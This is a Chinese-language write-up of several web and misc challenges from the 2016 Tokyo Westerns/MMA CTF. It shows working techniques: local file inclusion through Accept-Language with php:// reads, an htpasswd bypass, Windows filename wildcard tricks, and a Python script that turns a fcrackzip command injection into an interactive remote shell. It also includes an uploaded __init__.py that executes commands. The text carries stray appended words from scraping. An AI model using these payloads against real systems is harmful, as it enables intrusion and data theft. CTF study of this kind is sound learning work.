參加 Tokyo Westerns / MMA CTF 2nd 2016 經驗與感悟 TWCTF 2016 WriteUp

灑家近期參加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比賽,不得不說國際賽的玩法比國內賽更有玩頭,有的題給灑家一種一看就知道怎麼作,可是作出來還須要灑家拍一下腦瓜的感受。總之不少題仍是頗有趣的,適合研究學習一番。php

如下是灑家作出來的幾道小題,類型僅限Web和Misc,給各位看官參考。html

關於:前端

T3JpZ2luYWwgQXJ0aWNsZTogd3d3LmNuYmxvZ3MuY29tL2dvMmJlZC8

Global Page

Web Warmup
Welcome to TokyoWesterns' CTF
 
這題用中文瀏覽器點進去一看,出現了:
Warning: include(tokyo/zh-CN.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening 'ctf/zh-CN.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41
顯然是HTTP Request Header 的 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 部分的本地文件包含漏洞。
 flag在/flag.php。有兩個子目錄,/ctf 和 /tokyo,能夠列目錄。
 

這就說明 http://globalpage.chal.ctf.westerns.tokyo/?page=ctf 中$_GET['page'] 表明目錄,Accept-Language中的語言表明目錄下的文件名部分。python

直接訪問/flag.php 和 用 /?page=ctf  Accept-Language: ../flag 並無輸出。git

進一步探測:  /?page=to.k/yo 仍然正常顯示,說明$_GET['page']刪除了 .  / 符號,並自動在末尾添加 / 。github

通過一番嘗試,灑家忽然發現報錯信息裏面include()路徑開始部分並無其餘東西,那麼就可使用php://協議讀取源碼。web

base64解碼便可。shell

一樣的方法,固然能夠讀取index.php 的源碼apache

<?php
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Global Page</title>
<style>
.rtl {
  direction: rtl;
}
</style>
</head>

<body>
<?php
$dir = "";
if(isset($_GET['page'])) {
    $dir = str_replace(['.', '/'], '', $_GET['page']);
}

if(empty($dir)) {
?>
<ul>
    <li><a href="/?page=tokyo">Tokyo</a></li>
    <li><del>Westerns</del></li>
    <li><a href="/?page=ctf">CTF</a></li>
</ul>
<?php
}
else {
    foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
        $l = trim(explode(";", $lang)[0]);
?>
<p<?=($l==='he')?" class=rtl":""?>>
<?php
        include "$dir/$l.php";
?>
</p>
<?php
    }
}
?>
</body>
</html>

 

 

Problem

Today, our 3-disk NAS has failed. Please recover flag.
deadnas.7z編程

Hint 1: The NAS used RAID.
Hint 2: RAID-5

 
這一題給了3個磁盤鏡像。Disk0 和Disk2 都是512K,而Disk1只剩一句話:
crashed :-(
剛開始沒有正確理解題意,灑家覺得Disk1徹底沒有用,由於Disk0和Disk2不同,認爲Disk0和Disk2兩個磁盤組成了Raid0之類的東西。直接把兩個鏡像合併到一塊兒恢復數據無果。後來給了兩個Hint,RAID-5,灑家瞬間明白了有3個磁盤,Disk1壞了因此沒有顯示(衰)
下面推出知名國產軟件DiskGenius。正確作法以下:

灑家一開始嘗試了多種RAID-5類型和塊大小,後來發現瞎JB試也不行,直接十六進制查看器看數據塊在多小尺度上有明顯邊界。

以下圖所示,3FF0 到 4000 之間有明顯邊界,說明塊大小最大爲0x4000 / 1024 = 16K。一開始灑家嘗試的512K是明顯錯誤的。而最終的塊大小爲512B,這一點固然可能也能夠從16進制編輯器中看出來。

 

灑家最後貼張flag:

 

 

Problem

Get the admin password!
http://gap.chal.ctf.westerns.tokyo/

You can use test:test

 
 這個各類SQL注入沒有一點反應,灑家又考慮文件包含,又試了XPath等等各類姿式,無果。忽然想到會不會是MongoDB?
 

喲呵,還真是MongoDB。

須要密碼,那就用個二分法。代碼太醜灑家就不貼了,效果如圖:

Problem

Read the first poem.

http://poems.chal.ctf.westerns.tokyo

poems.7z

Server: Ubuntu 16.04 + Apache2

Hint1:(2016-09-04 11:05 UTC)

  • Password cracking is unnecessary.

Hint2:(2016-09-04 17:02 UTC)

  • You can access to admin page without user id or password.

這題頗有趣,在沒放hint的時候就作出來了,灑家感到賊開心。主要用到了Apache的htpasswd繞過,URL重寫等。一開始灑家找到了一個任意文件(除了最關鍵的list.txt)讀取漏洞,後來發現徹底走了彎路。

題目給了源碼,又是喜聞樂見的Slim框架。主要後端邏輯在/src/routes.php。

主要的保存用戶發送的Poem邏輯是:

發送的name和poem被json_encode() 儲存在/poems/data/中,文件名爲隨機的16進制的文件中。文件名集中儲存在/poems/list.txt。題目目標是讀取第一篇Poem。因爲文件名不可預知,必須先讀取list.txt。

另外含有 /admin,PHP代碼中沒有任何防禦 ,可是實際訪問的時候要求密碼。這是在Apache中設置的。

 

check_poem_id()保證了沒法經過 GET /poems?p=../list.txt 讀取 list.txt。然而上圖中除了check_poem_id()並無對 $poem_id進行其餘的檢驗,所以能夠讀取任意其餘文件(不能是json格式,不然會被看成poem文件解析顯示):

讀取 /etc/passwd

想到上文所述/admin密碼問題,讀取/etc/apache2/sites-enabled/000-default.conf

讀取 /etc/apache2/htpasswd ,admin密碼是MD5加鹽的,嘗試破解了很長時間最終也是難度過高破解失敗。

灑家這是開始考慮繞過/admin 的密碼。

思考一番後,忽然想到.htaccess URL重寫,豁然開朗。

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]

之間灑家直接訪問 /index.php/admin, 便可達到訪問 /admin 的效果,同時繞過Apache的密碼

出現flag:

 

最後看來,這道題源碼中顯而易見的任意文件讀取漏洞的發展方向是無底洞,讓灑家走了很多彎路,最終的解法居然這麼簡單。

 

 

Problem

Find the secret file.

http://rup.chal.ctf.westerns.tokyo/

Hint1 (2016/09/04 16:31)

  • The files/directories on the DOCUMENT_ROOT are below four.
    • download.php
    • file_list.php
    • index.php
    • uploads(directory)
  • The number of files in the DOCUMENT_ROOT/uploads is 5. The directory have "index.html".
  • You don't need scan tools.

這一題文件給的清清楚楚,顯然/uploads/裏面有個文件名沒法預知的文件包含flag。download.php 能夠下載任意文件(除了file_list.php)。那麼就下載一堆東西:

download.php

<?php
header("Content-Type: application/octet-stream");
if(stripos($_GET['f'], 'file_list') !== FALSE) die();
readfile('uploads/' . $_GET['f']); // safe_dir is enabled. 
?>

第三行大小寫不敏感地過濾,沒法下載包含'file_list'的文件。

讀取index.php,發現flag文件的文件名就在file_list.php中。index.php顯示了3個文件: test.cpp,test.c,test.rb。

代碼很是簡單,貌似堅如盤石。灑家嘗試了一番無果。等等,大小寫不敏感,爲何要用stripos()?

大小寫真的不敏感。原來是個Windows系統。堅如盤石的代碼仍是有漏洞。

灑家使用兼容MS-DOS的8.3短文件名繞過。

答案就很明顯了。

 2016年9月18日更新

灑家看老外的Writeup,發現了一種奇技淫巧的解法:

GET /download.php?f=F< HTTP/1.1

這樣能夠直接下載f/F開頭無擴展名的文件。

實驗發現,在Windows系統中, < 符號能夠代替擴展名的一部分,若是沒有擴展名(沒有 . )就能夠代替所有。

例如此目錄下有 index.php

D:\www\test>type "index<"
系統找不到指定的文件。

D:\www\test>type "index<"
系統找不到指定的文件。

D:\www\test>type "index.<"
<?php
readfile('./FL<');

D:\www\test>type "index.p<"
<?php
readfile('./FL<');

D:\www\test>type "index.php<"
<?php
readfile('./FL<');

D:\www\test>type "index.php<<<"
<?php
readfile('./FL<');

然而網上搜不到關於這個的玩法。真是奇技淫巧。

Problem

I saw this through a gap of the door on a train.

 

灑家看見這題就樂了,題目挺有想法的。直接MATLAB提取全部圖片幀,而後灑家的作法是寫個HTML放滿<img>標籤(懶得再編程了)

 

 

———————————— 

Problem

here is useful tool for hackers!

http://zipcracker.chal.ctf.westerns.tokyo/

這一題灑家一看就是命令注入,然而搞了半天也沒有注入成功。看了老外的Writeup(https://gist.github.com/baronpig/f6f2a4db993e951cde9ee92db15fc953  ,https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/)才豁然開朗:當勾選use unzip時,fcrackzip-1.0猜想的可能的壓縮密碼才參與命令注入。灑家一直嘗試的是把命令注入的惡意代碼放到字典裏,然而大概fcrackzip-1.0的原理並非一個一個暴力破解,惡意代碼不被猜想爲可能的密碼就不會發生命令注入。

灑家犯的第二個錯誤是,index.php 存在源碼泄露(.index.php.swp)(好吧,說好的不用掃描器)。灑家是Google了返回的字符串(Possible password: paSSw0rd ()  和 Password Found ! pw ==p@ssw0rd)才意識到這不是用unzip暴力破解,而是用了fcrackzip-1.0。

灑家走的一個彎路是:灑家在文件名上作了不少文章,然而命令用的是 tmp_name,此處並不能注入。

用vim recovery .index.php.swp以後,主要部分的代碼以下:

<?php
if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) {
    if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) {
        // Do you remember 430387 ?
        $zip = $_FILES['zip']['tmp_name'];
        $dict = $_FILES['dict']['tmp_name'];

        $option = "-D -p $dict";
        if(isset($_POST['unzip'])) {
            $option = "-u ".$option;
        }

        $cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip";
        $res = shell_exec($cmd);
    }
    else {
        $res = 'file is too large.';
    }
}
else {
    $res = 'file is missing';
}
?>

上文提到的韓國博客中找到了fcrackzip 的源碼:

// main.c
int REGPARAM
check_unzip (const char *pw)
{
  char buff[1024];
  int status;

  sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[0]);
  status = system (buff);

#undef REDIR

  if (status == EXIT_SUCCESS)
    {
      printf("\n\nPASSWORD FOUND!!!!: pw == %s\n", pw);
      exit (EXIT_SUCCESS);
    }

  return !status;
}

可見漏洞發生在對 fcrackzip 使用 -u 參數時,fcrackzip 會調用 unzip 驗證可能的密碼,驗證時直接拼接shell命令字符串形成命令注入。

由此灑家構造一個密碼爲  ";ls;echo" 的 zip文件,勾選unzip 結果爲:

第一個unzip 缺乏了文件名參數因此顯示了錯誤信息。

那麼搞一個密碼爲  ";cat flag.php;# 的zip,結果以下

 

獲得flag: TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}

 對了,前面PHP源碼提到的430387指的是 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430387;msg=19 

Debian Bug report logs - #430387
[PATCH] `fcrackzip --use-unzip' cannot deal with file names containing a single quote

 灑家改了改 https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/ 中的腳本,作了個「終端」:

import requests
import json
import subprocess
import os
import re

def delTmpFiles():
    try:
        os.remove('zipped.zip')
        os.remove('dict.txt')
    except OSError:
        pass

def postCmd(cmd):
    password = '";'+cmd+';#' # password of zip file
    zipfilename = 'zipfile.zip' #the zip name that gets posted
    dictfilename = 'dictionary.txt' #the dict name that gets posted
    dictfilecontents = """password1\npassword12\npassword123\n"""+password+"""\n1\n""" #dictionary file contents
    unzip = True
    #print password
    #print dictfilecontents
    #password = 'password1'
    #zips the random.txt file with password into zipped.zip
    subprocess.call(['zip', '--password', password, 'zipped.zip', 'random.txt','-q'])

    dictfile = open('dict.txt', 'wb')
    dictfile.write(dictfilecontents)
    dictfile.close()

    url = "http://zipcracker.chal.ctf.westerns.tokyo/"
    multiple_files = [
        ('zip', (zipfilename, open('zipped.zip', 'rb'), 'application/x-zip-compressed')),
        ('dict', (dictfilename, open('dict.txt', 'rb'), 'text/plain'))
    ]

    data = {}
    if unzip:
        data['unzip'] = 'on'
    r = requests.post(url, files=multiple_files, data=data)
    #print r.text
    return r.text
def getOutput(html):
    pattern = re.compile(r'if archive file newer\s*(.*?)\s*PASSWORD FOUND!!!!: pw',re.S)
    result = pattern.findall(html)
    if len(result) == 1:
        return result[0]
    else:
        print 'fail. Original html: '
        print html
        return ''

def main():
    with open('random.txt','wb') as f:
        f.write('abcdefg')
    cmd = raw_input('>>> ')
    while cmd != '':        
        print getOutput(postCmd(cmd))
        delTmpFiles()
        cmd = raw_input('>>> ')
    os.remove('random.txt')

if __name__ == '__main__':
    main()

 

Tsurai Web

 2016年9月18日更新:灑家忙了一陣子亂七八糟的東西,繼續研究沒作出來的題目

本題參考資料: https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/

一道Python Flask的題目,灑家對Flask無感,仍是硬着頭皮看了看。研究了一番,程序的流程大體以下:
註冊
密碼文件 passwd
每一行的格式 abcd:5d6894c77ab618eedca1feace0ee073b
abcd 是用戶名,合法用戶名規則是 \A[0-9a-zA-Z]{,20}\Z
後面的Hash是 md5(隨機密碼 + 鹽)。一行一個用戶名,存放在 /passwd 文件中。
建立/data/(md5(用戶名)).py 文件,建立 /data/(md5(用戶名)) 文件夾。
登陸
和上文中的 passwd 文件中的對應行對照。
訪問/
未登陸:返回默認template。
已登陸:  config = __import__(h(session.get('username'))) # built-in function __import__; 讀取 md5(session username).py 文件 
上傳
/data/(md5(用戶名)).py 用做 文件列表,例如上傳兩張照片後,內容爲:
  imgs = [u'%2ZY4J9CW@WVY5.jpg', u'%JS9@HNZFZ9.jpg'] 
文件不會自動更名。

漏洞成因

灑家研究了半天也沒發現漏洞,直到看了老外的博客才恍然大悟:

__import__ 函數的順序問題。

若是 有 /aabb/__init__.py 和 /aabb.py, __import__('aabb') 會優先去搜索幷包含前者。

所以上傳 一個 __init__.py (前端驗證限制文件類型,輕鬆繞過)到 md5(用戶名) 目錄,當

config = __import__(h(session.get('username')))

時就會執行任意Python命令。因爲 import 時須要 imgs 列表,老外的作法是:

x = __import__("subprocess")
imgs = []
imgs.append(x.check_output('cat flag', shell=True))

固然灑家也能夠這樣搞:

imgs = []
fflag = open('flag','rb').read()
imgs.append(fflag)

效果是隻剩下一張圖片,文件名就是flag。

相關文章
相關標籤/搜索